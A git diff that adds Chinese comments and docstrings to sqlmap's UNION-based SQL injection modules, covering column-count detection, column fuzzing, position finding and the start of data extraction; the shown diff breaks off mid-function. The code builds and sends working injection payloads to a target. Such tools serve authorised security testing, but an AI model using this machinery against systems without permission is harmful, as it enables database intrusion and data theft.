add comments to union

pull/3/head
wang 3 months ago
parent df472ac52d
commit 165108186d

@ -5,68 +5,96 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import itertools # 导入所需的Python标准库和自定义模块
import logging import itertools # 用于创建迭代器
import random import logging # 用于日志记录
import re import random # 用于生成随机数
import re # 用于正则表达式操作
from lib.core.agent import agent
from lib.core.common import average # 导入自定义的工具函数和类
from lib.core.common import Backend from lib.core.agent import agent # SQL注入代理模块
from lib.core.common import getPublicTypeMembers from lib.core.common import average # 计算平均值
from lib.core.common import isNullValue from lib.core.common import Backend # 数据库后端
from lib.core.common import listToStrValue from lib.core.common import getPublicTypeMembers # 获取公共类型成员
from lib.core.common import popValue from lib.core.common import isNullValue # 判断是否为空值
from lib.core.common import pushValue from lib.core.common import listToStrValue # 列表转字符串
from lib.core.common import randomInt from lib.core.common import popValue # 弹出值
from lib.core.common import randomStr from lib.core.common import pushValue # 压入值
from lib.core.common import readInput from lib.core.common import randomInt # 生成随机整数
from lib.core.common import removeReflectiveValues from lib.core.common import randomStr # 生成随机字符串
from lib.core.common import setTechnique from lib.core.common import readInput # 读取用户输入
from lib.core.common import singleTimeLogMessage from lib.core.common import removeReflectiveValues # 移除反射值
from lib.core.common import singleTimeWarnMessage from lib.core.common import setTechnique # 设置注入技术
from lib.core.common import stdev from lib.core.common import singleTimeLogMessage # 单次日志消息
from lib.core.common import wasLastResponseDBMSError from lib.core.common import singleTimeWarnMessage # 单次警告消息
from lib.core.compat import xrange from lib.core.common import stdev # 计算标准差
from lib.core.data import conf from lib.core.common import wasLastResponseDBMSError # 检查上次响应是否为数据库错误
from lib.core.data import kb from lib.core.compat import xrange # 兼容Python2/3的range函数
from lib.core.data import logger from lib.core.data import conf # 配置数据
from lib.core.data import queries from lib.core.data import kb # 知识库数据
from lib.core.decorators import stackedmethod from lib.core.data import logger # 日志记录器
from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.data import queries # SQL查询语句
from lib.core.enums import FUZZ_UNION_COLUMN from lib.core.decorators import stackedmethod # 堆栈方法装饰器
from lib.core.enums import PAYLOAD from lib.core.dicts import FROM_DUMMY_TABLE # 虚拟表字典
from lib.core.settings import FUZZ_UNION_ERROR_REGEX from lib.core.enums import FUZZ_UNION_COLUMN # UNION列模糊测试枚举
from lib.core.settings import FUZZ_UNION_MAX_COLUMNS from lib.core.enums import PAYLOAD # 载荷类型枚举
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER from lib.core.settings import FUZZ_UNION_ERROR_REGEX # UNION错误正则表达式
from lib.core.settings import MAX_RATIO from lib.core.settings import FUZZ_UNION_MAX_COLUMNS # UNION最大列数
from lib.core.settings import MIN_RATIO from lib.core.settings import LIMITED_ROWS_TEST_NUMBER # 有限行测试数
from lib.core.settings import MIN_STATISTICAL_RANGE from lib.core.settings import MAX_RATIO # 最大比率
from lib.core.settings import MIN_UNION_RESPONSES from lib.core.settings import MIN_RATIO # 最小比率
from lib.core.settings import NULL from lib.core.settings import MIN_STATISTICAL_RANGE # 最小统计范围
from lib.core.settings import ORDER_BY_MAX from lib.core.settings import MIN_UNION_RESPONSES # 最小UNION响应数
from lib.core.settings import ORDER_BY_STEP from lib.core.settings import NULL # NULL值常量
from lib.core.settings import UNION_MIN_RESPONSE_CHARS from lib.core.settings import ORDER_BY_MAX # ORDER BY最大值
from lib.core.settings import UNION_STDEV_COEFF from lib.core.settings import ORDER_BY_STEP # ORDER BY步长
from lib.core.unescaper import unescaper from lib.core.settings import UNION_MIN_RESPONSE_CHARS # UNION最小响应字符数
from lib.request.comparison import comparison from lib.core.settings import UNION_STDEV_COEFF # UNION标准差系数
from lib.request.connect import Connect as Request from lib.core.unescaper import unescaper # SQL转义处理器
from lib.request.comparison import comparison # 响应比较
from lib.request.connect import Connect as Request # HTTP请求处理
def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
""" """
Finds number of columns affected by UNION based injection 查找UNION注入所影响的列数
参数:
comment - SQL注释
place - 注入点位置
parameter - 注入参数
value - 参数值
prefix - SQL前缀
suffix - SQL后缀
where - 注入位置(默认为原始位置)
返回:
找到的列数,如果未找到则返回None
""" """
retVal = None retVal = None
@stackedmethod @stackedmethod
def _orderByTechnique(lowerCount=None, upperCount=None): def _orderByTechnique(lowerCount=None, upperCount=None):
"""
使用ORDER BY技术来确定列数
参数:
lowerCount - 最小列数
upperCount - 最大列数
返回:
找到的列数
"""
def _orderByTest(cols): def _orderByTest(cols):
"""
测试指定列数的ORDER BY语句是否有效
"""
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
query = agent.suffixQuery(query, suffix=suffix, comment=comment) query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
# 如果ORDER BY 1成功但ORDER BY随机大数失败,说明ORDER BY技术可用
if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1): if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
infoMsg = "'ORDER BY' technique appears to be usable. " infoMsg = "'ORDER BY' technique appears to be usable. "
infoMsg += "This should reduce the time needed " infoMsg += "This should reduce the time needed "
@ -75,6 +103,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
infoMsg += "range for current UNION query injection technique test" infoMsg += "range for current UNION query injection technique test"
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
# 二分查找确定准确的列数
lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
found = None found = None
while not found: while not found:
@ -97,12 +126,14 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
return found return found
try: try:
# 保存当前错误状态
pushValue(kb.errorIsNone) pushValue(kb.errorIsNone)
items, ratios = [], [] items, ratios = [], []
kb.errorIsNone = False kb.errorIsNone = False
lowerCount, upperCount = conf.uColsStart, conf.uColsStop lowerCount, upperCount = conf.uColsStart, conf.uColsStop
if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # Note: ORDER BY is not bullet-proof # 如果ORDER BY列数未知且起始列为1或指定了列数,尝试使用ORDER BY技术
if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols):
found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique() found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique()
if found: if found:
@ -113,12 +144,14 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
elif kb.futileUnion: elif kb.futileUnion:
return None return None
# 确保测试范围足够大
if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
upperCount = lowerCount + MIN_UNION_RESPONSES upperCount = lowerCount + MIN_UNION_RESPONSES
min_, max_ = MAX_RATIO, MIN_RATIO min_, max_ = MAX_RATIO, MIN_RATIO
pages = {} pages = {}
# 对每个可能的列数进行测试
for count in xrange(lowerCount, upperCount + 1): for count in xrange(lowerCount, upperCount + 1):
query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
@ -127,11 +160,13 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
if not isNullValue(kb.uChar): if not isNullValue(kb.uChar):
pages[count] = page pages[count] = page
# 计算响应相似度
ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO
ratios.append(ratio) ratios.append(ratio)
min_, max_ = min(min_, ratio), max(max_, ratio) min_, max_ = min(min_, ratio), max(max_, ratio)
items.append((count, ratio)) items.append((count, ratio))
# 如果使用了特定字符进行UNION注入测试
if not isNullValue(kb.uChar): if not isNullValue(kb.uChar):
value = re.escape(kb.uChar.strip("'")) value = re.escape(kb.uChar.strip("'"))
for regex in (value, r'>\s*%s\s*<' % value): for regex in (value, r'>\s*%s\s*<' % value):
@ -140,6 +175,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
retVal = contains[0] retVal = contains[0]
break break
# 如果没有找到明确的列数,使用统计分析方法
if not retVal: if not retVal:
if min_ in ratios: if min_ in ratios:
ratios.pop(ratios.index(min_)) ratios.pop(ratios.index(min_))
@ -154,6 +190,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
elif item[1] == max_: elif item[1] == max_:
maxItem = item maxItem = item
# 根据响应相似度的分布确定列数
if all(_ == min_ and _ != max_ for _ in ratios): if all(_ == min_ and _ != max_ for _ in ratios):
retVal = maxItem[0] retVal = maxItem[0]
@ -175,6 +212,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
finally: finally:
kb.errorIsNone = popValue() kb.errorIsNone = popValue()
# 如果找到了列数,输出信息
if retVal: if retVal:
infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", 'N', infoMsg)) singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", 'N', infoMsg))
@ -182,14 +220,29 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
return retVal return retVal
def _fuzzUnionCols(place, parameter, prefix, suffix): def _fuzzUnionCols(place, parameter, prefix, suffix):
"""
模糊测试UNION查询的列类型
参数:
place - 注入点位置
parameter - 注入参数
prefix - SQL前缀
suffix - SQL后缀
返回:
成功时返回列类型模板,失败返回None
"""
retVal = None retVal = None
# 如果已识别数据库类型且页面模板中没有UNION错误,且知道ORDER BY列数
if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns: if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns:
comment = queries[Backend.getIdentifiedDbms()].comment.query comment = queries[Backend.getIdentifiedDbms()].comment.query
# 获取所有可能的列类型组合
choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True) choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True)
random.shuffle(choices) random.shuffle(choices)
# 测试每种列类型组合
for candidate in itertools.product(choices, repeat=kb.orderByColumns): for candidate in itertools.product(choices, repeat=kb.orderByColumns):
if retVal: if retVal:
break break
@ -198,11 +251,13 @@ def _fuzzUnionCols(place, parameter, prefix, suffix):
else: else:
candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate] candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate]
# 构造并测试UNION查询
query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix) query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix)
query = agent.suffixQuery(query, suffix=suffix, comment=comment) query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE)
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
# 如果没有UNION错误,检查字符串列是否在响应中
if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""): if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""):
for column in candidate: for column in candidate:
if column.startswith("'") and column.strip("'") in (page or ""): if column.startswith("'") and column.strip("'") in (page or ""):
@ -212,66 +267,82 @@ def _fuzzUnionCols(place, parameter, prefix, suffix):
return retVal return retVal
def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
"""
确定UNION注入的有效列位置
参数:
comment - SQL注释
place - 注入点位置
parameter - 注入参数
prefix - SQL前缀
suffix - SQL后缀
count - 列数
where - 注入位置
返回:
(有效载荷, 注入向量)元组
"""
validPayload = None validPayload = None
vector = None vector = None
# 生成所有可能的列位置
positions = [_ for _ in xrange(0, count)] positions = [_ for _ in xrange(0, count)]
# Unbiased approach for searching appropriate usable column # 随机打乱位置顺序,以避免偏差
random.shuffle(positions) random.shuffle(positions)
# 使用两种不同长度的随机字符串进行测试
for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS): for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS):
if vector: if vector:
break break
# For each column of the table (# of NULL) perform a request using # 测试每个列位置
# the UNION ALL SELECT statement to test it the target URL is
# affected by an exploitable union SQL injection vulnerability
for position in positions: for position in positions:
# Prepare expression with delimiters # 准备带分隔符的测试字符串
randQuery = randomStr(charCount) randQuery = randomStr(charCount)
phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower() phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.escape(randQueryProcessed) randQueryUnescaped = unescaper.escape(randQueryProcessed)
# Forge the union SQL injection request # 构造UNION注入查询
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request # 发送请求并检查响应
page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower()
# 如果测试字符串在响应中,说明找到了可用的列位置
if content and phrase in content: if content and phrase in content:
validPayload = payload validPayload = payload
kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate) vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate)
# 如果是在原始位置测试,进行额外确认
if where == PAYLOAD.WHERE.ORIGINAL: if where == PAYLOAD.WHERE.ORIGINAL:
# Prepare expression with delimiters # 准备第二个测试字符串
randQuery2 = randomStr(charCount) randQuery2 = randomStr(charCount)
phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower() phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower()
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) randQueryUnescaped2 = unescaper.escape(randQueryProcessed2)
# Confirm that it is a full union SQL injection # 使用多个UNION测试完整性
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower() content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower()
# 如果两个测试字符串都不在响应中,切换到部分模式
if not all(_ in content for _ in (phrase, phrase2)): if not all(_ in content for _ in (phrase, phrase2)):
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
elif not kb.unionDuplicates: elif not kb.unionDuplicates:
# 测试行数限制
fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
# Check for limited row output
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower()
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
@ -279,6 +350,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
logger.warning(warnMsg) logger.warning(warnMsg)
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
# 检查是否是UNION/错误混合注入情况
unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()
if unionErrorCase and count > 1: if unionErrorCase and count > 1:
@ -292,15 +364,27 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
return validPayload, vector return validPayload, vector
def _unionConfirm(comment, place, parameter, prefix, suffix, count): def _unionConfirm(comment, place, parameter, prefix, suffix, count):
"""
确认UNION SQL注入并获取精确的列位置
参数:
comment - SQL注释
place - 注入点位置
parameter - 注入参数
prefix - SQL前缀
suffix - SQL后缀
count - 列数
返回:
(有效载荷, 注入向量)元组
"""
validPayload = None validPayload = None
vector = None vector = None
# Confirm the union SQL injection and get the exact column # 在原始位置确认UNION注入
# position which can be used to extract data
validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count) validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count)
# Assure that the above function found the exploitable full union # 如果原始位置未找到,尝试在否定位置确认
# SQL injection position
if not validPayload: if not validPayload:
validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE) validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE)
@ -308,9 +392,19 @@ def _unionConfirm(comment, place, parameter, prefix, suffix, count):
def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
""" """
This method tests if the target URL is affected by an union 通过字符暴力测试目标URL是否存在UNION SQL注入漏洞
SQL injection vulnerability. The test is done up to 50 columns 测试最多进行50列
on the target database table
参数:
comment - SQL注释
place - 注入点位置
parameter - 注入参数
value - 参数值
prefix - SQL前缀
suffix - SQL后缀
返回:
(有效载荷, 注入向量)元组
""" """
validPayload = None validPayload = None
@ -319,7 +413,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
uChars = (conf.uChar, kb.uChar) uChars = (conf.uChar, kb.uChar)
where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE
# In case that user explicitly stated number of columns affected # 如果用户明确指定了列数
if conf.uColsStop == conf.uColsStart: if conf.uColsStop == conf.uColsStart:
count = conf.uColsStart count = conf.uColsStart
else: else:
@ -328,6 +422,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
if count: if count:
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
# 如果未找到有效载荷且未设置某些配置,尝试模糊测试
if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)): if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)):
if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS: if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS:
if kb.fuzzUnionTest is None: if kb.fuzzUnionTest is None:
@ -341,6 +436,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
warnMsg = "if UNION based SQL injection is not detected, " warnMsg = "if UNION based SQL injection is not detected, "
warnMsg += "please consider " warnMsg += "please consider "
# 如果NULL值注入不可用,提示尝试使用随机整数
if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None: if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None:
message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
@ -351,6 +447,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
conf.uChar = kb.uChar = str(randomInt(2)) conf.uChar = kb.uChar = str(randomInt(2))
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
# 提示强制指定数据库类型
if not conf.dbms: if not conf.dbms:
if not conf.uChar: if not conf.uChar:
warnMsg += "and/or try to force the " warnMsg += "and/or try to force the "
@ -361,7 +458,8 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
if not all((validPayload, vector)) and not warnMsg.endswith("consider "): if not all((validPayload, vector)) and not warnMsg.endswith("consider "):
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
if orderBy is None and kb.orderByColumns is not None and not all((validPayload, vector)): # discard ORDER BY results (not usable - e.g. maybe invalid altogether) # 如果ORDER BY结果无效,丢弃并重试
if orderBy is None and kb.orderByColumns is not None and not all((validPayload, vector)):
conf.uChar, kb.uChar = uChars conf.uChar, kb.uChar = uChars
validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
@ -370,10 +468,22 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
@stackedmethod @stackedmethod
def unionTest(comment, place, parameter, value, prefix, suffix): def unionTest(comment, place, parameter, value, prefix, suffix):
""" """
This method tests if the target URL is affected by an union 测试目标URL是否存在UNION SQL注入漏洞
SQL injection vulnerability. The test is done up to 3*50 times 最多测试3*50
参数:
comment - SQL注释
place - 注入点位置
parameter - 注入参数
value - 参数值
prefix - SQL前缀
suffix - SQL后缀
返回:
(有效载荷, 注入向量)元组
""" """
# 直连模式下不进行测试
if conf.direct: if conf.direct:
return return
@ -381,6 +491,7 @@ def unionTest(comment, place, parameter, value, prefix, suffix):
setTechnique(PAYLOAD.TECHNIQUE.UNION) setTechnique(PAYLOAD.TECHNIQUE.UNION)
try: try:
# 如果使用否定逻辑,保存当前状态
if negativeLogic: if negativeLogic:
pushValue(kb.negativeLogic) pushValue(kb.negativeLogic)
pushValue(conf.string) pushValue(conf.string)
@ -389,13 +500,16 @@ def unionTest(comment, place, parameter, value, prefix, suffix):
kb.negativeLogic = False kb.negativeLogic = False
conf.string = conf.code = None conf.string = conf.code = None
# 进行UNION注入测试
validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
finally: finally:
# 恢复否定逻辑状态
if negativeLogic: if negativeLogic:
conf.code = popValue() conf.code = popValue()
conf.string = popValue() conf.string = popValue()
kb.negativeLogic = popValue() kb.negativeLogic = popValue()
# 移除载荷分隔符
if validPayload: if validPayload:
validPayload = agent.removePayloadDelimiters(validPayload) validPayload = agent.removePayloadDelimiters(validPayload)

@ -5,10 +5,12 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的模块
import json import json
import re import re
import time import time
# 导入sqlmap自定义模块
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.bigarray import BigArray from lib.core.bigarray import BigArray
from lib.core.common import arrayizeValue from lib.core.common import arrayizeValue
@ -63,48 +65,67 @@ from thirdparty import six
from thirdparty.odict import OrderedDict from thirdparty.odict import OrderedDict
def _oneShotUnionUse(expression, unpack=True, limited=False): def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted """
执行一次UNION查询
参数:
expression - SQL查询表达式
unpack - 是否需要解包结果
limited - 是否限制查询结果数量
返回:
查询结果
"""
# 从hashDB中检索缓存的结果
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True)
# 获取当前线程数据
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
threadData.resumed = retVal is not None threadData.resumed = retVal is not None
if retVal is None: if retVal is None:
# 获取UNION注入向量
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.jsonAggMode: if not kb.jsonAggMode:
# 构造注入表达式
injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7] kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8] kb.forcePartialUnion = vector[8]
# Note: introduced columns in 1.4.2.42#dev # 设置表名和UNION模板
try: try:
kb.tableFrom = vector[9] kb.tableFrom = vector[9]
kb.unionTemplate = vector[10] kb.unionTemplate = vector[10]
except IndexError: except IndexError:
pass pass
# 构造UNION查询
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
else: else:
# JSON聚合模式
injExpression = unescaper.escape(expression) injExpression = unescaper.escape(expression)
where = vector[6] where = vector[6]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
# 构造payload并发送请求
payload = agent.payload(newValue=query, where=where) payload = agent.payload(newValue=query, where=where)
# Perform the request
